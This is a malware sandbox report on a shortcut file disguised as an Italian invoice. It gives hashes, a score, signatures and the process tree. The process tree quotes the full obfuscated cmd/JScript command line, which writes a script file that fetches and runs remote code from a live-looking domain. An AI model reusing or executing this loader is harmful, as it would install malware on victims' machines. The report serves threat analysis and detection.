Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    05/01/2024, 07:21

General

  • Target

    fattura lnk.lnk

  • Size

    1KB

  • MD5

    d6f04ca2263b55ef95ae2ad4edbe4805

  • SHA1

    b6b3cb3cfe25edb646b03cf0189014123ee86966

  • SHA256

    46a5851b66d038d08ad7074ccaf3544bee669d72b4a7222a61210c0358262a1a

  • SHA512

    52d2c8aa46fa114809bf8bec11f176ea0dee3a6594fe508353a5d5e56587360fd4c67c719a9acbc4787a06895179a6e52fc6f2854c13cd51d866651d3b519573

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\fattura lnk.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "S^eT XJB=C:\LAn22L\&& mD !XJB!>nul 2>&1&&S^eT RJKP=!XJB!^DJLVTMIJ.JS&&<nul set/p DPEB=var DPEB='\u0037\u0077\u0068\u002b\u0044\u0037\u0077\u0068\u002b\u0045\u0037\u0077\u0068\u002b\u0022\u002f\u002f\u006a\u0070\u0061\u006a\u0077\u002e\u006a\u006f\u0075\u0072\u006e\u0065\u0079\u0065\u0064\u0067\u0065\u002e\u006d\u0079\u002e\u0069\u0064\u002f\u003f\u0031\u002f\u0022\u0029\u003b';XJB='\u003a\u0068\u0022\u003b\u0045\u0037\u0077\u0068\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043';DJLV='\u0076\u0061\u0072\u0020\u0043\u0037\u0077\u0068\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0037\u0077\u0068\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022';RJKP=DJLV+XJB+DPEB;TMIJ=new Function(RJKP);TMIJ(); >!RJKP!|caLl !RJKP!||caLl !RJKP! "
      2⤵
        PID:2820

    Network

    MITRE ATT&CK Enterprise v15

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